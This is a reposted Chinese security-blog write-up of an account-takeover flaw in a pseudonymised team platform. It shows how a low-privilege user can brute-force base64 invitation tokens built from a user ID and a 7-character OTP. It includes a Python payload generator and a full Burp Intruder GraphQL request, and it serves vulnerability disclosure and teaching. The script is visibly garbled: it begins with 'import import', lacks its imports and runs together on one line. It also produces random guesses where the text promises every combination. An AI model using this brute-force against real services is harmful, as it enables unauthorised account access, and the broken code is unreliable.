记一次账户接管

admin 2024年8月26日14:13:33评论24 views字数 2546阅读8分29秒阅读模式
 

漏洞详情

    ExampleSpark(保密的化名)是一个强大的平台,专为团队管理和项目 协作而设计。它为管理用户、项目和权限提供了全面的工具,使其成为 探索安全漏洞的有吸引力的目标。我发现的漏洞是允许低特权用户访问和接受针对其他用户的邀请。如果 有效利用,这个缺陷可能会导致未经授权的访问和帐户接管。

复现步骤:

邀请用户:

1.在 ExampleSpark 上登录管理员帐户。
2.导航到团队管理部分。
3.邀请用户,生成一个邀请链接,其中包含带有用户 ID 和 7 位 OTP(一次性密码)的 base64 编码令牌。

登陆低权限用户,提取用户 ID 和 OTP

1.转到团队管理部分,选择受邀用户。

     2.从URL https://app.examplespark.com/users/User:<user_id>中提取用户 ID。

准备字典:

1.使用提取的用户 ID 以 userid:otpcode 格式创建有效负载(例如,018dee9c-a9be-04f8-0000-fb5b23eef4d2:39426NQ)。
2.生成一个包含所有可能的 7 位字母数字组合的单词列 表,将每个组合转换为 base64,并创建一个有效负载 列表。
3.有效负载列表可以通过使用以下提供的 python 代码生成:
import importdef generate_otp():# Generate a random 7-digit alphanumeric OTP  characters="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"  otp=''.join(random.choice(characters)for i in range(7))  return otpdef convert_to_base64(data):# Convert the data to base64  data_bytes = data.encode('utf-8')  base64_encoded = base64.b64encode(data_bytes).decode('utf-8')  return base64_encodeduser_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"num_otps = 1000payload_list = []for _ in range(num_otps):  otp = generate_otp()  payload =f"{user_id}:{otp}"  base64_payload = convert_to_base64(payload)  payload_list.append(base64_payload)for i, payload in enumerate(payload_list, start=1):   print(f"Payload {i}: {payload}")

用 Burpsuite 中的 Intruder 发送带有 payload 的 post 请求

POST /graphql/frontend?n=AcceptInvitation HTTP/2 Host : app.examplespark.comCookie : [session cookies]Content-Length: 616Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Content-Type: application/json Accept: */*X-Graphql-Operation: AcceptInvitationSec-Ch-Ua-Platform: "Linux"Origin: https://app.examplespark.comReferer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTA wMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ {"operationName":"AcceptInvitation","variables":{"invitation_key":"" ,"name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {n accept_invitation(n input: {invitation_key: $invitation_key, name: $name, password: $password}n ) {n account_idn user {n idn statusn ...AuthUserLoginn __typenamen }n __typenamen }n}nnfragment AuthUserLogin on User {n idn emailn display_namen session_valid_untiln __typenamen}"}

选择 invitation_key 参数并启动攻击。

帐户接管:

  • 返回长度1142 且响应状态码200 OK 表示成功接受邀请。
  • 一旦确定了正确的 OTP,攻击者就可以接受邀请并获得未经授权的访问,这可能会根据受邀用户的角色升级特权。
归纳总结‍‍‍‍‍‍

    接受邀请处对用户鉴权操作较弱,且邀请码是经过简单的base64加密,用户userId可以直接获取,需要遍历的是otp,所以编写了脚本生成userid:opt进行base64加密后的字典,由此就可以利用低权限账户去遍历邀请码,可导致他人不在同意的状态下加入组织,而组织对已加入的成员具敏感数据访问权限。

原文始发于微信公众号(Undoubted Security):【漏洞实例】记一次账户接管

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月26日14:13:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次账户接管http://cn-sec.com/archives/3096441.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息